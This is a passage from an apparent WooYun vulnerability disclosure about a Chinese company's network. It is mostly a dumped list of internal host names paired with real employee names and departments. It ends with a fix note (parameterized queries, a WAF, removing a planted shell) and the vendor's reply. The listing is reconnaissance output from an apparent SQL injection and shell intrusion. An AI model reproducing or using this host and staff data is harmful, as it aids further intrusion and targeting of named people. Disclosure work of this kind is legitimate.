\\QCDZ-WU-JS 汽车电子 吴锦书
\\QCDZ-WU-YJ
\\QCDZ-WU-YL 汽车电子 吴曰林
\\QCDZ-XIANG-JJ
\\QCDZ-XIAO-HQ 汽车电子 肖华清
\\QCDZ-XIE-XW
\\QCDZ-XIONG-WJ 汽车电子 冯凯
\\QCDZ-XU-BK 汽车电子 许炳坤
\\QCDZ-XU-CM 汽车电子 杨周太
\\QCDZ-XU-L 汽车电子 徐镭
\\QCDZ-XU-YY 汽车电子 陈忠菊
\\QCDZ-YAN-MH
\\QCDZ-YAN-XJ
\\QCDZ-YAN-ZZ
\\QCDZ-YANFA http://oa.hongfa.cn/
\\QCDZ-YANG-XD 汽车电子 杨心端
\\QCDZ-YANG-YT 汽车电子 杨燕泰
\\QCDZ-YU-FX-PC
\\QCDZ-ZENG-DL 汽车电子 曾冬林
\\QCDZ-ZENG-JP
\\QCDZ-ZENG-S
\\QCDZ-ZENG_TY 汽车电子 曾天养
\\QCDZ-ZENG_WX
\\QCDZ-ZENG_YD
\\QCDZ-ZHAN-LY 汽车电子 詹丽燕
\\QCDZ-ZHANG-BP
\\QCDZ-ZHANG-HQ 汽车电子 张红琴
\\QCDZ-ZHANG-JZ 汽车电子 张敬忠
\\QCDZ-ZHANG-K
\\QCDZ-ZHANG-LY1 汽车电子 苏银玺
\\QCDZ-ZHANG-MM
\\QCDZ-ZHANG-P1
\\QCDZ-ZHANG-R 汽车电子 张冉
\\QCDZ-ZHANG-XF 汽车电子 肖华清
\\QCDZ-ZHANG-YD 汽车电子 张永东
\\QCDZ-ZHANG-YJ 汽车电子 张艳娟
\\QCDZ-ZHANG-ZH
\\QCDZ-ZHANG_HZ
\\QCDZ-ZHAO-LB 汽车电子 赵兰波
\\QCDZ-ZHENG-XZ
\\QCDZ-ZHONG-JJ
\\QCDZ-ZHONG-JY
\\QCDZ-ZHONG-YG
\\QCDZ-ZHOU-CM
\\QCDZ-ZHOU-LM
\\QCDZ-ZHOU-LX
\\QCDZ-ZHOU-X 汽车电子 周星
\\QCDZ-ZHU-BB qcdz-zhu-bb.hongfa.cn
\\QCDZ-ZHU-EH
\\QCDZ-ZHU-XL
\\QCDZ-ZOU-MJ 汽车电子 邹敏杰
\\QCDZTM
\\QCZD1 汽车终端服务器
\\QCZD2
\\QH-CHEN-HRX
\\QH-CHEN-JQ
\\QH-CHEN-L 企划生产部 陈琳
\\QH-CHEN-LL
\\QH-CHEN_A
\\QH-CHEN_YJ
\\QH-GUO-CX
\\QH-HONG-SH 企划部 洪素慧
\\QH-LEI-J
\\QH-LIN_YZ
\\QH-PENG-T
\\QH-WEN-GL 温国龙
\\QH-WU-YB 企划生产部 吴艺滨
\\QH-XIA-YY 企划生产部 夏媛媛
\\QH-XIAO-CY 企划生产部 肖春英
\\QH-XIAO-YQ
\\QH-YU-LZ
\\QH-ZHENG-XH
\\RTX2009
\\RX-CHEN-J
\\RX-DENG-QY 绕线车间 邓清云
\\RX-DENG-YH 绕线车间 邓玉红
\\RX-DING-ZQ
\\RX-HE-SX
\\RX-HE_YY
\\RX-LI-MJ 绕线车间 李孟锦
\\RX-LI_MJ
\\RX-LIU-QY 绕线车间 刘桥玉
\\RX-LIU-SK 绕线车间 刘思康
\\RX-LV-ZB
\\RX-MEETING
\\RX-WANG-GY
\\RX-WEN-ZQ 绕线车间 巫顺才
\\RX-WEN_ZQ
\\RX-WU-SC-NEW
\\RX-WU_SC
\\RX-XIAO-LS 绕线车间 肖林生
\\RX-YE-BH
\\RX-YE_B

修复方案:

参数化查询,上waf,删除shell

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-11-08 12:26

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

2015-11-09:已责令相关单位处理,谢谢!